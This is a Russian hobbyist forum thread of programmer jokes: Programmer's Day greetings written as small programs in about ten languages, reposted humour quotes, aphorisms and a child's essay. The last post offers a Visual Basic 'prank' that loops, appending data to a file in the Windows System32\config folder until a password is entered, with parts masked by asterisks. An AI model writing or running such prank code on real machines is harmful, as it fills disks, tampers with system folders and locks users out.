◊ | |
www.udomlya.ru | Медиа-Центр | Удомля КТВ | Старый форум |
14.09.2010, 09:11 | #371 |
Супер-Модератор
|
Ко вчерашнему дню
Код:
class Grats { public static void main (String args [ ]) { System.out.println("Pozdravlyaem s Dnem programmista!"); // Всем привет! } } Код:
#include <string.h> #include <stdio.h> #include <ctype.h> int main() { int length, i; char string[ ] = "pozdravlyaem s dnem programmista"; length = strlen(string); for (i = 0; i < length; i=i+2) string[i] = toupper (string[i]); printf ("%s\n", string); return 0; } Код:
#include <iostream> #include <conio> main() { cout << "Pozdravlyaem s Dnem programmista!\n"; cout << "Давай уже нажми на что-нибудь\n"; getch(); } Код:
<? echo "Поздравляем с <strong>Днем программиста</strong>!\n"; ?> Код:
10 IF 256 > 255 THEN PRINT "Pozdravlyaem s Dnem programmista!" : GOTO 40 30 PRINT "Bugagaga! Ktulhu woke up!!" 40 END Код:
using System; namespace Grats { class Class1 { static void Main(string[ ] args) { Console.WriteLine("Поздравляем с Днем программиста!"); } } } Код:
#!/usr/bin/python grats =['Поздравляем с Днем программиста!', 'Поздравляем с Новым Годом!', 'Поздравляем с Днем рождения!'] print grats[0] Код:
#!/usr/bin/perl init_words ( ) ; print "Как тебя зовут?" ; $name = <stdin>; chomp ($name) ; print "Да пофиг - поздравляем с Днем программиста!\n"; Код:
Message = [[NSString alloc] initWithFormat:@"Pozdravlyaem s Dnem programmista!"]; Код:
If MessageDlg('Кктулху фхтагн?', mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin MessageDlg('Поздравляем с Днем программиста!', mtInformation, [mbOk], 0); Close; end; |
14.09.2010, 10:57 | #372 |
Супер-Модератор
|
Цитата #408002
Tue, 14 Sep 2010 10:45:02 +0400 Школа программирования. Препод купил кофеварку и все хвастался, что она с процессором. Cтоим, пьем чай, обсуждаем: - Сделали чайник с процессором, холодильник с камерой и выходом в интернет. скоро видно будут новые курсы программирования... - Ага. Программирование для чайников. http://bash.org.ru/quote/408002 |
15.09.2010, 10:24 | #373 |
Супер-Модератор
|
Цитата #408012
Wed, 15 Sep 2010 10:12:02 +0400 с програмерского форума: наткнулись на багу VS2005 — после 128-го вложенного if-else-if условия просто напросто игнорируются. Пришлось переделать в switch-case http://bash.org.ru/quote/408012 |
25.09.2010, 12:24 | #374 |
Местный
Регистрация: 20.09.2007
Сообщений: 4,226
Вы сказали Спасибо: 1
Поблагодарили 6,561 раз(а) в 1,660 сообщениях
|
Афоризмы:
"Один терапевт - это 1024 гигапевта, или 1048576 мегапевтов!" "Дисковода щель - для заразы цель." "System32\shutdown.exe" "Экономьте электричество! Выключайте Num Lock !" |
Этот пользователь сказал Спасибо Messiah за это полезное сообщение: | Punkiller (19.10.2010) |
30.09.2010, 10:08 | #375 |
Супер-Модератор
|
#4287: Просто песня
Wed, 29 Sep 2010 12:45:02 +0400 С точки зрения Налогового Кодекса РФ программный код приравнивается к произведениям литературы. И верно, а почему бы и нет? if (newGame) resources.free(); s = FILENAME + 3; setLocation(); load(s); loadDialog.process(); try { setGamerColor(RED); } catch(Exception e) { reset(); } while (notReady) { objects.make(); if (resourceNotFound) break; } byte result; // сменить на int! music(); System.out.print(""); Смысл довольно туманный — как и полагается стихам. http://ithappens.ru/story/4287 |
08.10.2010, 14:48 | #376 |
Местный
|
Шутит (ли?) будущий программист:
Cочинение 7–летнего Тараса по теме: Кем я хочу стать когда буду большим. Я хочу стать программистом, когда выросту большим, потому что это классная работа и простая. Поэтому в наше время столько программистов и все время становится больше. Программистам не нужно ходить в школу, им нужно учиться читать на компьютерном языке, что бы они могли с компьютером разговаривать. Думаю, что они должны уметь читать тоже, что бы знать в чем дело, когда все напереполох. Программисты должны быть смелыми, что бы не пугаться, когда все перепуталось так что никто не разберет, или если придется разговаривать на английском языке по–иностранному, что бы знать, что надо делать. У программистов должно быть хорошее зрение, что бы видеть сквозь одежду и что бы не бояться секретарш, потому что с ними приходиться работать. Еще мне нравитса зарплата, которую программисты получают. Они получают столько денег, что не успевают их все тратить. Это происходит потому, что все считают работу программиста трудной, кроме программистов, которые знают, как это просто. Нет ничего такого, что бы мне не понравилось, кроме того что девочкам нравятся программисты и все хотят выйти за них замуж, и поэтому женщин надо гнать, что бы не мешали работать. Надеюсь, что у меня нет аллергии на офисную пыль, потому что на нашу собаку у меня аллергия. Eсли у меня будет аллергия на офисную пыль, программиста из меня не получится и придется искать настоящую работу. |
08.10.2010, 15:02 | #377 |
Супер-Модератор
|
От они уста младенца то =)
|
14.10.2010, 15:14 | #378 |
Супер-Модератор
|
|
15.10.2010, 14:16 | #379 |
Местный
Регистрация: 26.01.2008
Сообщений: 112
Вы сказали Спасибо: 63
Поблагодарили 28 раз(а) в 15 сообщениях
|
отлично сказано....
__________________
|
04.11.2010, 15:21 | #380 |
Местный
Регистрация: 27.04.2006
Сообщений: 465
Вы сказали Спасибо: 9
Поблагодарили 22 раз(а) в 13 сообщениях
|
Вот ещё одна шутка над компом :-)
Private Sub Command1_Click()
If Text1.Text = "*******" Then Form6.Visible = True Else ***** = "*****" Form5.Visible = False Do Until Text1.Text = mde Dim FileNo As Integer FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo,***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo FileNo = FreeFile Open "c:\Windows\System32\config\***.dll" For Append As FileNo Print #FileNo, ***** Close FileNo *** = ***** & ******* Loop End If End Sub |
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2) | |
|
|